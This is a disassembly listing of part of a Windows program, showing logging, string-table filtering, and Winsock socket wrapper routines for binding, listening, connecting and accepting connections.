		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E6C


loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE6C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 2790000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE6C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E6C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E6C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		call	near ptr 77C47C60h
		nop
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5EFFD5
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2E5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E55
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1EBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EFFD5
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EFFD5
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6775


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2E5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D667Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EFFD5
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EFFD5
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB38
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB38
		inc	eax
		mov	dword_50BB38, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB38
		inc	edx
		mov	dword_50BB38, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB38
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB38
		dec	eax
		mov	dword_50BB38, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB38
		dec	ecx
		mov	dword_50BB38, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DD0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
